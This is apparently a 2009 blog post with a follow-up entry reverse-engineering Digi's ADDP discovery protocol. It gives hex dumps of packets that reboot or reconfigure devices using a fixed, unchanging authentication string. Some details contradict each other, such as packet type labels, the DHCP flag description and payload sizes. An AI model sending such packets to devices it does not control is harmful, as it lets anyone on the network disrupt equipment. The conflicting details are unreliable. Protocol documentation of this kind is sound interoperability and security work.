0020   6c 11 01 00 01 06 00 40 9d 31 a9 0a              l......@.1..    

Break down as:
            44 49 47 49  DIGI       - Magic
                  00 04  ..         - Packet type (0004)
                  00 24  .(         - Payload size (36 bytes)
               0a 01 00  ...        - Result flag: Success
      09 14 4f 70 65 72  ..Oper
61 74 69 6f 6e 20 53 75  ation Su
63 63 65 73 73 66 75 6c  ccessful   - Result Message: Operation Successful
               11 01 00  ...        - Error code: None
01 06 00 40 9d 31 a9 0a  ...@.1..   - Mac Address: 00:40:9D:31:A9:0A

Here is a sample packet for a configuration request that failed because an invalid IP address was sent (0.0.0.0).

Data (37 bytes):
0000   44 49 47 49 00 04 00 1d 0a 01 ff 09 0d 49 6e 76  DIGI.........Inv
0010   61 6c 69 64 20 76 61 6c 75 65 11 01 03 01 06 00  alid value......
0020   40 9d 31 a3 a5                                   @.1..

Break down as:
            44 49 47 49  DIGI       - Magic
                  00 04  ..         - Packet type (0004)
                  00 1d  .(         - Payload size (29 bytes)
               0a 01 ff  ...        - Result flag: Error
   09 0d 49 6e 76 61 6c  ..Inval 
69 64 20 76 61 6c 75 65  id value   - Result Message: Invalid value
               11 01 03  ...        - Error code: 0x03
01 06 00 40 9d 31 a3 a5  ...@.1..   - Mac Address: 00:40:9D:31:A3:A5

DHCP Network Configuration Request
The DHCP Configuration Request packets have the packet type of 0x0007 and are used to reconfigure the network of the Digi unit so it requests it's IP address from a DHCP server. If a DHCP server doesn't respond it will take on a default IP address (the 169 IPs you see often when a device can't find an IP address).

The packet is very simply, in that it payload simply has a 1 byte boolean to enable/disable DHCP followed by the target MAC and then the authentication data. This will enabled DHCP. If you send a 0x00 for the enable byte then DHCP will be enabled, and the current network settings will be untouched. If you send 0x00 DHCP will be disabled and any previous network settings will be restored.

The following sample would be to reconfigure the device with MAC address '00:40:9D:31:A3:A5', instructing it to automatically get it's IP address via DHCP.

Data (20 bytes):
0000   44 49 47 49 00 07 00 0c 01 00 40 9d 31 a3 a5 04  DIGI......@.1...
0010   64 62 70 73                                      dbps

Break down as:
            44 49 47 49  DIGI       - Magic
                  00 07  ..         - Packet type (0003)
                  00 0c  ..         - Payload size (12 bytes)
                     01  ....       - Enable DHCP
      00 40 9d 31 a3 a5  .@.1..     - Target MAC Address: 00:40:9D:31:A3:A5
         04 64 62 70 73  .dbps      - Authentication Data

DHCP Network Configuration Response
This packet is the same as the Static Network Configuration response, except it has the packet type identifier 0x0008. Here is a sample response for the DHCP request packet sample above:

Data (44 bytes):
0000   44 49 47 49 00 08 00 24 0a 01 00 09 14 4f 70 65  DIGI...$.....Ope
0010   72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75  ration Successfu
0020   6c 11 01 00 01 06 00 40 9d 31 a3 a5              l......@.1..

Break down as:
            44 49 47 49  DIGI       - Magic
                  00 08  ..         - Packet type (0008)
                  00 24  .(         - Payload size (36 bytes)
               0a 01 00  ...        - Result flag: Success
      09 14 4f 70 65 72  ..Oper
61 74 69 6f 6e 20 53 75  ation Su
63 63 65 73 73 66 75 6c  ccessful   - Result Message: Operation Successful
               11 01 00  ...        - Error code: None
01 06 00 40 9d 31 a3 a5  ...@.1..   - Mac Address: 00:40:9D:31:A3:A5

Restart Request Packet
Th restart request is used to instruct a device to restart itself. This is useful in some cases, and needed to apply certain configuration changes, specifically the network configuration done with the Configuration packets.

This packet has the packet type id of 0x0005 and has a target MAC followed by the authentication data as it's payload. This gives a payload length of 11 bytes and a total packet size of 19 bytes. The following is a sample packet that restarts the device with MAC '00:40:9D:31:A9:0A'.

Data (19 bytes):
0000   44 49 47 49 00 05 00 0b 00 40 9d 31 a9 0a 04 64  DIGI.....@.1...d
0010   62 70 73                                         bps

Break down as:
            44 49 47 49  DIGI       - Magic
                  00 05  ..         - Packet type (0005)
                  00 0b  .`         - Payload size (11 bytes)
      00 40 9d 31 a9 0a  ......     - Target MAC: 00:40:9D:31:A9:0A
         04 64 62 70 73  .dbps      - Authentication Data

Restart Response Packet
After you send a restart request, the device will respond, reporting it's result. If successful the device will immediately initiate a restart. This packet has the packet type id 0x0006. As with all the other response packets it uses the field based packet format. The following sample packet is a restart response indicating success of the previous restart request sample.

Data (44 bytes):
0000   44 49 47 49 00 06 00 24 0a 01 00 09 14 4f 70 65  DIGI...$.....Ope
0010   72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75  ration Successfu
0020   6c 11 01 00 01 06 00 40 9d 31 a9 0a              l......@.1..

Break down as:
            44 49 47 49  DIGI       - Magic
                  00 06  ..         - Packet type (0006)
                  00 24  .(         - Payload size (36 bytes)
               0a 01 00  ...        - Result flag: Success
      09 14 4f 70 65 72  ..Oper
61 74 69 6f 6e 20 53 75  ation Su
63 63 65 73 73 66 75 6c  ccessful   - Result Message: Operation Successful
               11 01 00  ...        - Error code: 0x00
01 06 00 40 9d 31 a9 0a  ...@.1..   - Mac Address: 00:40:9D:31:A9:0A

Tables of Codes
The following tables summarize the different types and codes used in the protocol.

Packet Types
  0x0001: Discovery Request
  0x0002: Discovery Response
  0x0003: Static Network Configuration Request
  0x0004: Static Network Configuration Response
  0x0005: Reboot Request
  0x0006: Reboot Response
  0x0007: DHCP Network Configuration Request
  0x0008: DHCP Network Configuration Response

Field Types
  0x01: 6 byte MAC address
  0x02: 4 byte IP address
  0x03: 4 byte Netmask
  0x04: String Network Name
  0x05: {UNSEEN} Domain
  0x06: {UNSEEN} Hardware Type
  0x07: 1 byte Hardware Revision
  0x08: String Firmware
  0x09: String Result message
  0x0a: 1 byte Result flag - see "Result Flags"
  0x0b: 4 byte IP Gateway
  0x0c: 2 byte Configuration error code - see "Configuration Errors"
  0x0d: String device name
  0x0e: 4 byte Real Port number
  0x0f: 4 byte DNS IP
  0x10: 1 byte DHCP Enabled boolean flag. 
  0x11: 1 byte Error code
  0x12: 1 byte Serial Port Count
  0x13: 4 byte Encrypted Real Port number
  0x14: 2 byte Version
  0x15: String Vender GUID

Error codes (Field 0x11)
  0x00: Success
  0x01: Authentication Failure
  0x03: Invalid Value
  0x06: Unable to save value

Result flags (Field 0x0a)
  0x00: Success
  0xff: Error

Configuration Errors (0x0c)
  0x0000: No error.
  0x0001: Digi in different subnet than sender

Boolean flags
  0x01: True/Enabled
  0x00: False/Disabled

Some General Notes
  1. There might be more packet types.
  2. There are more error codes which I haven't seen, and thus haven't documented.
  3. Fields types 0x05 and 0x06 haven't been seen, so I'm not sure what they're data types are.
  4. Re. fields 0x0e and 0x13 being 4 bytes. Ports can only be 2 bytes (0 to 65535). Why they made it 4 bytes is a mystery, so it could be possible that they store extra information in the first 2 bytes.

Friday, November 20, 2009

Advanced Digi Discovery Protocol Notes

This is a continuation of my previous post.

So I've come further in my analysis of the ADDP protocol. I've got what is almost a complete breakdown, only missing the definition of 2 fields and a few error codes I haven't seen yet.

I haven't formalized it yet, though all the required information is contained in this summary. With it and some common sense you can create a working implementation. I'll formalize it over the weekend for those of you who appreciate such things (edit: See my new post 'Advanced Digi Discovery Protocol Explained').

Also have a look at: JDigiDiscover. It's what I have so far for an implementation. It's not done yet, either. And *cough* excuse the 70 minute GUI job.

Here's some notes. Have fun.
++++++++++++++++++++++++++++++++++
+ Packet Examples and Breakdowns +
++++++++++++++++++++++++++++++++++

Discovery Request:
---------------------------------------------------------------------------------
0000 44 49 47 49 00 01 00 06 ff ff ff ff ff ff DIGI..........

Discovery Response:
---------------------------------------------------------------------------------
0000 44 49 47 49 00 02 00 60 01 06 00 40 9d 31 a9 0a DIGI...`...@.1..
0010 02 04 0a 00 00 e7 03 04 ff ff ff 00 0b 04 0a 00 ................
0020 00 01 0d 0f 44 69 67 69 20 43 6f 6e 6e 65 63 74 ....Digi Connect
0030 20 4d 45 10 01 00 07 01 00 08 1e 56 65 72 73 69 ME........Versi
0040 6f 6e 20 38 32 30 30 30 38 35 36 5f 46 36 20 30 on 82000856_F6 0
0050 37 2f 32 31 2f 32 30 30 36 0e 04 00 00 03 03 13 7/21/2006.......
0060 04 00 00 04 03 12 01 01 ........

Configuration Request:
---------------------------------------------------------------------------------
0000 44 49 47 49 00 03 00 17 0a 00 00 e7 ff ff ff 00 DIGI............
0010 0a 00 00 01 00 40 9d 31 a9 0a 04 64 62 70 73 .....@.1...dbps

Configuration Success Response:
---------------------------------------------------------------------------------
0000 44 49 47 49 00 04 00 28 0a 01 00 09 14 4f 70 65 DIGI...(.....Ope
0010 72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75 ration Successfu
0020 6c 11 01 00 01 06 00 40 9d 31 a9 0a 0c 02 00 01 l......@.1......

Configuration Failure Response:
---------------------------------------------------------------------------------
0000 44 49 47 49 00 04 00 29 0a 01 ff 09 19 55 6e 61 DIGI...).....Una
0010 62 6c 65 20 74 6f 20 6c 6f 61 64 2f 73 61 76 65 ble to load/save
0020 20 76 61 6c 75 65 11 01 06 01 06 00 40 9d 31 99 value......@.1.
0030 de .

Reboot Request:
---------------------------------------------------------------------------------
0000 44 49 47 49 00 05 00 0b 00 40 9d 31 a9 0a 04 64 DIGI.....@.1...d
0010 62 70 73 bps

Reboot Response:
---------------------------------------------------------------------------------
0000 44 49 47 49 00 06 00 24 0a 01 00 09 14 4f 70 65 DIGI...$.....Ope
0010 72 61 74 69 6f 6e 20 53 75 63 63 65 73 73 66 75 ration Successfu
0020 6c 11 01 00 01 06 00 40 9d 31 a9 0a l......@.1..

Discovery Request Breakdown:
---------------------------------------------------------------------------------
44 49 47 49 DIGI - Magic
00 01 .. - Packet type (0001)
00 06 .` - Payload size (6 bytes)
ff ff ff ff ff ff ...... - Target MAC

Discovery Response Breakdown (104 bytes):
---------------------------------------------------------------------------------
44 49 47 49 DIGI - Magic
00 02 .. - Packet type (0002)
00 60 .` - Payload size (96 bytes)
01 06 00 40 9d 31 99 de ...@.1.. - Mac address
02 04 0a 00 00 b4 ...... - IP Address
03 04 ff ff ff 00 ...... - Subnet Mask
0b 04 00 00 00 00 ...... - Gateway Address
0d 0f 44 69 67 69 20 43 ..Digi C
6f 6e 6e 65 63 74 20 4d 45 onnect ME - Device Name
10 01 01 ... - DHCP Enabled
0f 04 0a 00 00 04 ...... - SNMP Traps Host ??
07 01 00 ... - ??
08 1e 56 65 72 ..Ver
73 69 6f 6e 20 38 32 30 30 sion 8200
30 38 35 36 5f 46 36 20 30 0856_F6 0
37 2f 32 31 2f 32 30 30 36 7/21/2006 - Software Version
0e 04 00 00 03 03 ...... - Real Port
13 04 00 00 04 03 ...... - Encrypted Real Port
12 01 01 . - Serial port count

Configuration Request Breakdown
---------------------------------------------------------------------------------
44 49 47 49 DIGI - Magic
00 03 .. - Packet type (0003)
00 17 .` - Payload size (23 bytes)
0a 00 00 e7 .... - New IP Address
ff ff ff 00 .... - New Subnet Mask
0a 00 00 01 .... - New Gateway
00 40 9d 31 a9 0a .@.1.. - Target MAC Address
04 64 62 70 73 .dbps - Authentication Data

Configuration Success Response Breakdown
---------------------------------------------------------------------------------
44 49 47 49 DIGI - Magic
00 04 .. - Packet type (0004)
00 28 .( - Payload size (40 bytes)
0a 01 00 ... - Result flag (see codes below)
09 14 4f 70 ..Op
65 72 61 74 69 6f 6e 20 53 eration S
75 63 63 65 73 73 66 75 6c uccessful - Result Message
11 01 00 ... - Error code. (see codes below)
01 06 00 40 9d 31 a9 0a ...@.1.. - Mac Address
0c 02 00 01 .... - Configuration Error Code

Reboot Request Breakdown
---------------------------------------------------------------------------------
44 49 47 49 DIGI - Magic
00 05 .. - Packet type (0005)
00 0b .` - Payload size (11 bytes)
00 40 9d 31 a9 0a ...... - Target MAC
04 64 62 70 73 .dbps - Authentication Data

Reboot Response Breakdown
---------------------------------------------------------------------------------
44 49 47 49 DIGI - Magic
00 06 .. - Packet type (0006)
00 24 .( - Payload size (36 bytes)
0a 01 00 ... - Result flag (see codes below)
09 14 4f 70 ..Op
65 72 61 74 69 6f 6e 20 53 eration S
75 63 63 65 73 73 66 75 6c uccessful - Result Message
11 01 00 ... - Error code
01 06 00 40 9d 31 a9 0a ...@.1.. - Mac Address

+++++++++
+ Codes +
+++++++++
Packet Types:
0x0001: Discovery Request
0x0002: Discovery Response
0x0003: Static Network Configuration Request
0x0004: Static Network Configuration Response
0x0005: Reboot Request
0x0006: Reboot Response
0x0007: DHCP Network Configuration Request
0x0008: DHCP Network Configuration Response

Field Types:
0x01: 6 byte MAC address
0x02: 4 byte IP address
0x03: 4 byte Netmask
0x04: String Network Name
0x05: UNSEEN
0x06: UNSEEN
0x07: 1 byte - UNKNOWN - seen in discovery responses
0x08: String Firmware
0x09: String Result message
0x0a: 1 byte Result flag - see "Result Flags"
0x0b: 4 byte IP Gateway
0x0c: 2 byte Configuration error code - see "Configuration Errors"
0x0d: String device name
0x0e: 4 byte Real Port number
0x0f: 4 byte SNMP Traps host IP address ??
0x10: 1 byte DHCP Enabled flag. 0x01 = enabled, 0x00 = disabled
0x11: 1 byte Error code
0x12: 1 byte Serial Port Count
0x13: 4 byte Encrypted Real Port number

Error codes (0x11):
0x00: Success
0x01: Authentication Failure
0x03: Invalid Value
0x06: Unable to save value

Result flags (0x0a):
0x00: Success
0xff: Error

Configuration Errors (0x0c):
0x0001: Digi in different subnet than sender

+++++++++
+ Notes +
+++++++++
Authentication data in "Configuration Request" and "Reboot Request" packets. This is an oddity.
I frankly don't know why they have this in there. I doubt they're using decryption and this
information is needed for the key, since these packets are used for initial configuration. Further, this value doesn't change when you change your root user's
password. Frankly it can't, because the Digi tool doesn't prompt for a password, and this "has"
to always work, or at least I figure they meant for it to always work (unless explicitely disabled).

It's a very insecure way of doing it. They might as well have left out the password. I guess it
decreases the chance of a corrupt packet to reconfigure the device. It certainly doesn't block
hackers. A more secure option would probably have be to do a packet challenge and based on the
response encrypt a string and send it to the device. This way it's very difficult to discover,
as people would need to reverse engineer this challenge algorithm.

This design sort of indicates to me a 9th packet type which is a factory default reset packet.
Their style certainly makes this possible.

+++++++++
+ Todos +
+++++++++
1. Investigate the possibility of more packets.
2. Find the purpose of field 0x07
3. Find more error codes.
4. See if fields 0x05 and 0x06 exist and what they're for.
5. Investigate whether fields above 0x13 exist.